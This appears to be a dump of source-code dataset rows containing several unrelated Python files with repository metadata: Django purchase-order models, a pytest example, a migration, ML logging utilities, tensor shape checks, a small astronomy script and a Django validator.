class PurchaseOrder(models.Model):
number = models.CharField(max_length=20, editable=False)
vendor = models.ForeignKey(Vendor, on_delete=models.CASCADE, null=True)
part = models.ManyToManyField(Part, through='PurchaseOrderParts')
def __str__(self):
return self.number
def save(self, *args, **kwargs):
if not self.id:
last_id = PurchaseOrder.objects.order_by('number').last()
today = str(datetime.datetime.now().date())
new_number = "PO" + today
if last_id:
str_number = str(last_id.number)
last_date = str_number[2:12]
if last_date == today:
nn = int(str_number[13:16]) + 1
else:
nn = 1
else:
nn = 1
new_number += "_" + str(nn).zfill(2)
self.number = new_number
super().save(*args, **kwargs)
class PurchaseOrderParts(models.Model):
part = models.ForeignKey(Part, on_delete=models.CASCADE)
purchase_order = models.ForeignKey(PurchaseOrder, on_delete=models.CASCADE)
unit_price = models.DecimalField(max_digits=6, decimal_places=2, blank=True, null=True)
quantity = models.IntegerField(blank=True, null=True)
total = models.DecimalField(max_digits=6, decimal_places=2, editable=False, blank=True, null=True)
item_number = models.IntegerField(editable=False, default=0)
def save(self, *args, **kwargs):
if not self.id:
last_id = PurchaseOrderParts.objects.filter(purchase_order=self.purchase_order).order_by('item_number').last()
if not last_id:
self.item_number = 1
else:
self.item_number = last_id.item_number + 1
if self.unit_price and self.quantity:
self.total = self.unit_price * self.quantity
else:
self.total = 0
super().save(*args, **kwargs)
"""used to keep track of tokens, only one instance of this model named "DigiKey",
don't create another instance of this as it can mess up the tokens"""
class DigiKeyAPI(models.Model):
name = models.CharField(max_length=100)
refresh_token = models.CharField(max_length=150)
access_token = models.CharField(max_length=150)
| 43 | 122 | 0.667598 | 1,423 | 12,169 | 5.574139 | 0.178496 | 0.1059 | 0.12708 | 0.16944 | 0.492184 | 0.445159 | 0.388427 | 0.190242 | 0.151664 | 0.138553 | 0 | 0.038994 | 0.216041 | 12,169 | 282 | 123 | 43.152482 | 0.792453 | 0.05021 | 0 | 0.219828 | 0 | 0 | 0.081446 | 0.002106 | 0 | 0 | 0 | 0 | 0 | 1 | 0.068966 | false | 0 | 0.008621 | 0.030172 | 0.607759 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
8223f8a99d965f457dd7e252a84202f7ab0d8cc4 | 813 | py | Python | testing/tests/test_dummy.py | MaurizioBella/BotyPy | 5d6b7c4343ef42ff6a7493f2aaf565f64dad5c41 | [
"MIT"
] | null | null | null | testing/tests/test_dummy.py | MaurizioBella/BotyPy | 5d6b7c4343ef42ff6a7493f2aaf565f64dad5c41 | [
"MIT"
] | null | null | null | testing/tests/test_dummy.py | MaurizioBella/BotyPy | 5d6b7c4343ef42ff6a7493f2aaf565f64dad5c41 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
import pytest
def sum(num1, num2):
"""It returns sum of two numbers"""
return num1 + num2
# make sure to start function name with test
@pytest.mark.parametrize('num1, num2, expected',
[(3, 5, 8), (-2, -2, -4), (-1, 5, 4), (3, -5, -2), (0, 5, 5)])
def test_sum(num1, num2, expected):
assert sum(num1, num2) == expected
@pytest.fixture
def get_sum_test_data():
return [(3, 5, 8), (-2, -2, -4), (-1, 5, 4), (3, -5, -2), (0, 5, 5)]
def test_sum_v2(get_sum_test_data):
for data in get_sum_test_data:
num1 = data[0]
num2 = data[1]
expected = data[2]
assert sum(num1, num2) == expected
| 26.225806 | 87 | 0.586716 | 132 | 813 | 3.522727 | 0.401515 | 0.103226 | 0.094624 | 0.122581 | 0.215054 | 0.107527 | 0.107527 | 0.107527 | 0.107527 | 0.107527 | 0 | 0.080592 | 0.252153 | 813 | 30 | 88 | 27.1 | 0.684211 | 0.264453 | 0 | 0.125 | 0 | 0 | 0.033956 | 0 | 0 | 0 | 0 | 0 | 0.125 | 1 | 0.25 | false | 0 | 0.0625 | 0.0625 | 0.4375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
822902858ffd7f29df3c979fb531114936d3a5ed | 873 | py | Python | variants/migrations/0047_auto_20190701_1625.py | brand-fabian/varfish-server | 6a084d891d676ff29355e72a29d4f7b207220283 | [
"MIT"
] | 14 | 2019-09-30T12:44:17.000Z | 2022-02-04T14:45:16.000Z | variants/migrations/0047_auto_20190701_1625.py | brand-fabian/varfish-server | 6a084d891d676ff29355e72a29d4f7b207220283 | [
"MIT"
] | 244 | 2021-03-26T15:13:15.000Z | 2022-03-31T15:48:04.000Z | variants/migrations/0047_auto_20190701_1625.py | brand-fabian/varfish-server | 6a084d891d676ff29355e72a29d4f7b207220283 | [
"MIT"
] | 8 | 2020-05-19T21:55:13.000Z | 2022-03-31T07:02:58.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.11.21 on 2019-07-01 16:25
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [("variants", "0046_partition_smallvariants_table")]
operations = [
migrations.RemoveField(model_name="casevariantstats", name="case"),
migrations.AddField(
model_name="casevariantstats",
name="variant_set",
field=models.OneToOneField(
default=-1,
help_text="The variant statistics object for this variant set",
on_delete=django.db.models.deletion.CASCADE,
related_name="variant_stats",
to="variants.SmallVariantSet",
),
preserve_default=False,
),
]
| 31.178571 | 79 | 0.627721 | 89 | 873 | 5.977528 | 0.662921 | 0.045113 | 0.052632 | 0.082707 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.036107 | 0.270332 | 873 | 27 | 80 | 32.333333 | 0.799058 | 0.079038 | 0 | 0.1 | 1 | 0 | 0.219725 | 0.072409 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.15 | 0 | 0.3 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
822e782f16bc428e61261ae8e8000a61fb92b939 | 1,972 | py | Python | utils.py | floschne/TERAN | 60a3644530ac3f28c89265a46d14e0c5fcf0da3d | [
"Apache-2.0"
] | null | null | null | utils.py | floschne/TERAN | 60a3644530ac3f28c89265a46d14e0c5fcf0da3d | [
"Apache-2.0"
] | null | null | null | utils.py | floschne/TERAN | 60a3644530ac3f28c89265a46d14e0c5fcf0da3d | [
"Apache-2.0"
] | 1 | 2020-12-20T20:15:29.000Z | 2020-12-20T20:15:29.000Z | from collections import OrderedDict
import numpy
from models.teran import TERAN
def get_model(config):
model = TERAN(config)
return model
def dot_sim(x, y):
return numpy.dot(x, y.T)
def cosine_sim(x, y):
x = x / numpy.expand_dims(numpy.linalg.norm(x, axis=1), 1)
y = y / numpy.expand_dims(numpy.linalg.norm(y, axis=1), 1)
return numpy.dot(x, y.T)
class AverageMeter(object):
"""Computes and stores the average and current value"""
def __init__(self):
self.reset()
def reset(self):
self.val = 0
self.avg = 0
self.sum = 0
self.count = 0
def update(self, val, n=0):
self.val = val
self.sum += val * n
self.count += n
self.avg = self.sum / (.0001 + self.count)
def __str__(self):
"""String representation for logging
"""
# for values that should be recorded exactly e.g. iteration number
if self.count == 0:
return str(self.val)
# for stats
return '%.4f (%.4f)' % (self.val, self.avg)
class LogCollector(object):
"""A collection of logging objects that can change from train to val"""
def __init__(self):
# to keep the order of logged variables deterministic
self.meters = OrderedDict()
def update(self, k, v, n=0):
# create a new meter if previously not recorded
if k not in self.meters:
self.meters[k] = AverageMeter()
self.meters[k].update(v, n)
def __str__(self):
"""Concatenate the meters in one log line
"""
s = ''
for i, (k, v) in enumerate(self.meters.items()):
if i > 0:
s += ' '
s += k + ' ' + str(v)
return s
def tb_log(self, tb_logger, prefix='', step=None):
"""Log using tensorboard
"""
for k, v in self.meters.items():
tb_logger.add_scalar(prefix + k, v.val, global_step=step)
| 24.962025 | 75 | 0.564909 | 275 | 1,972 | 3.956364 | 0.378182 | 0.055147 | 0.009191 | 0.027574 | 0.086397 | 0.086397 | 0 | 0 | 0 | 0 | 0 | 0.013294 | 0.313387 | 1,972 | 78 | 76 | 25.282051 | 0.790251 | 0.208418 | 0 | 0.130435 | 0 | 0 | 0.009138 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.23913 | false | 0 | 0.065217 | 0.021739 | 0.478261 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
822fb9cc31bd7348cd34bf3de00f4ec07e26322e | 3,329 | py | Python | mantrap/utility/shaping.py | simon-schaefer/mantrap | 9a2b3f32a0005cc0cb79bb78924f09da5a94587d | [
"MIT"
] | 7 | 2020-05-11T18:13:27.000Z | 2022-03-09T02:52:48.000Z | mantrap/utility/shaping.py | StanfordASL/mantrap | 9a2b3f32a0005cc0cb79bb78924f09da5a94587d | [
"MIT"
] | null | null | null | mantrap/utility/shaping.py | StanfordASL/mantrap | 9a2b3f32a0005cc0cb79bb78924f09da5a94587d | [
"MIT"
] | 3 | 2020-12-09T00:03:26.000Z | 2022-03-03T10:39:03.000Z | import torch
def check_ego_state(x: torch.Tensor, enforce_temporal: bool = False) -> bool:
assert not torch.any(torch.isnan(x))
if enforce_temporal:
assert x.size() == torch.Size([5])
else:
assert x.numel() in [4, 5]
return True
def check_ego_action(x: torch.Tensor) -> bool:
assert not torch.any(torch.isnan(x))
assert x.size() == torch.Size([2])
return True
def check_ego_path(x: torch.Tensor, t_horizon: int = None) -> bool:
assert not torch.any(torch.isnan(x))
assert len(x.shape) == 2 # (t_horizon, 2)
assert x.shape[1] == 2
if t_horizon is not None:
assert x.shape[0] == t_horizon
return True
def check_ego_controls(x: torch.Tensor, t_horizon: int = None) -> bool:
assert not torch.any(torch.isnan(x))
assert len(x.shape) == 2 # (t_horizon, dims)
assert x.shape[-1] == 2
if t_horizon is not None:
assert x.shape[0] == t_horizon
return True
def check_ego_trajectory(
x: torch.Tensor,
t_horizon: int = None,
pos_only: bool = False,
pos_and_vel_only: bool = False
) -> bool:
assert not torch.any(torch.isnan(x))
assert len(x.shape) == 2 # (t_horizon, 5)
if pos_only:
assert x.shape[1] >= 2 # (x, y, vx, vy)
elif pos_and_vel_only:
assert x.shape[1] >= 4 # (x, y, vx, vy)
else:
assert x.shape[1] == 5 # (x, y, vx, vy, t)
if t_horizon is not None:
assert x.shape[0] == t_horizon
return True
def check_ado_states(x: torch.Tensor, num_ados: int = None, enforce_temporal: bool = False) -> bool:
assert not torch.any(torch.isnan(x))
assert len(x.shape) == 2 # (num_ados, 4/5)
if num_ados is not None:
assert x.shape[0] == num_ados
if enforce_temporal:
assert x.shape[1] == 5
else:
assert x.shape[1] in [4, 5]
return True
def check_ado_history(x: torch.Tensor, ados: int = None) -> bool:
assert not torch.any(torch.isnan(x))
assert len(x.shape) == 3 # (num_ados, t_horizon, 2/4/5)
assert x.shape[2] in [2, 4, 5]
if ados is not None:
assert x.shape[0] == ados
return True
def check_ado_trajectories(x: torch.Tensor, t_horizon: int = None, ados: int = None, num_modes: int = None) -> bool:
assert not torch.any(torch.isnan(x))
assert len(x.shape) == 4 # (num_ados, t_horizon, num_modes, 2)
assert x.shape[3] in [2, 5] # (x, y) - positions, (x, y, vx, vy, t) - full state
if ados is not None:
assert x.shape[0] == ados
if t_horizon is not None:
assert x.shape[1] == t_horizon
if num_modes is not None:
assert x.shape[2] == num_modes
return True
def check_ado_samples(x: torch.Tensor, t_horizon: int = None, ados: int = None, num_samples: int = None) -> bool:
assert not torch.any(torch.isnan(x))
assert len(x.shape) == 5 # (num_ados,num_samples,t_horizon, num_modes, 2/5)
if num_samples is not None:
assert x.shape[1] == num_samples
assert all([check_ado_trajectories(x[:, i, :, :, :], t_horizon, ados, num_modes=1) for i in range(x.shape[1])])
return True
def check_goal(x: torch.Tensor) -> bool:
return check_2d_vector(x)
def check_2d_vector(x: torch.Tensor) -> bool:
assert not torch.any(torch.isnan(x))
assert x.size() == torch.Size([2])
return True
| 30.541284 | 116 | 0.621808 | 555 | 3,329 | 3.596396 | 0.118919 | 0.078156 | 0.108216 | 0.09018 | 0.723948 | 0.599699 | 0.589178 | 0.542084 | 0.529058 | 0.513527 | 0 | 0.022521 | 0.239712 | 3,329 | 108 | 117 | 30.824074 | 0.7661 | 0.082908 | 0 | 0.52381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.47619 | 1 | 0.130952 | false | 0 | 0.011905 | 0.011905 | 0.27381 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
8233e77c449f33aa14324409d82a1ef9635d9309 | 1,169 | py | Python | sync.py | delanym/kala | b4e760d4def03198aacf182d279c5c97ddb04a01 | [
"BSD-3-Clause"
] | null | null | null | sync.py | delanym/kala | b4e760d4def03198aacf182d279c5c97ddb04a01 | [
"BSD-3-Clause"
] | null | null | null | sync.py | delanym/kala | b4e760d4def03198aacf182d279c5c97ddb04a01 | [
"BSD-3-Clause"
] | null | null | null |
# When does the synodic new moon come back to the same nakshatra. How many revolutions?
# By how many degrees does the new moon travel each synodic month? A: 29,105216732 degrees
# So in 12,368916655 months the new moon will have returned to the same sign, but it would
# have overshot or fallen short of the same nakshatra.
"""
How many degrees in a synodic day? 12,970173891
How many degrees in a nakshatra? 13,333333333
It takes around 36 days for the synodic day to be out of sync with the nakshatra days by 1 nakshatra.
By that time however, the synodic month will have already elapsed, and the 1st day of
the next month will conincide with the nakshatra approximately one whole sign ahead, or, just over 2 nakshatras.
"""
SUN_YEAR = 365.2522
MOON_MONTH = 27.3217
SYNODIC_MONTH = 29.5306
Ratio = 1,080847824
SynodicMonth = Ratio * 360 # 389,105216732
a = 3
b = 4
start = 0
i = 1
print 'i={0}, a={1}, b={2}'.format(i, a, b)
while True:
a += 3
b += 4
i += 1
if a > 359:
a -= 360
if b > 359:
b -= 360
print 'i={0}, a={1}, b={2}'.format(i, a, b)
if a == b == start:
break
print 'Finished'
| 22.056604 | 112 | 0.666382 | 205 | 1,169 | 3.785366 | 0.468293 | 0.036082 | 0.054124 | 0.048969 | 0.145619 | 0.051546 | 0.051546 | 0.051546 | 0.051546 | 0.051546 | 0 | 0.133939 | 0.246364 | 1,169 | 52 | 113 | 22.480769 | 0.746879 | 0.282293 | 0 | 0.090909 | 0 | 0 | 0.106977 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.136364 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
8234fc5721781919e7bf6e4d1bddfdab3b0544f6 | 351 | py | Python | openbook_circles/validators.py | TamaraAbells/okuna-api | f87d8e80d2f182c01dbce68155ded0078ee707e4 | [
"MIT"
] | 164 | 2019-07-29T17:59:06.000Z | 2022-03-19T21:36:01.000Z | openbook_circles/validators.py | TamaraAbells/okuna-api | f87d8e80d2f182c01dbce68155ded0078ee707e4 | [
"MIT"
] | 188 | 2019-03-16T09:53:25.000Z | 2019-07-25T14:57:24.000Z | openbook_circles/validators.py | TamaraAbells/okuna-api | f87d8e80d2f182c01dbce68155ded0078ee707e4 | [
"MIT"
] | 80 | 2019-08-03T17:49:08.000Z | 2022-02-28T16:56:33.000Z | from rest_framework.exceptions import ValidationError
from django.utils.translation import ugettext_lazy as _
from openbook_circles.models import Circle
def circle_id_exists(circle_id):
count = Circle.objects.filter(id=circle_id).count()
if count == 0:
raise ValidationError(
_('The circle does not exist.'),
)
| 25.071429 | 55 | 0.720798 | 44 | 351 | 5.545455 | 0.659091 | 0.098361 | 0.106557 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003571 | 0.202279 | 351 | 13 | 56 | 27 | 0.867857 | 0 | 0 | 0 | 0 | 0 | 0.074074 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.333333 | 0 | 0.444444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.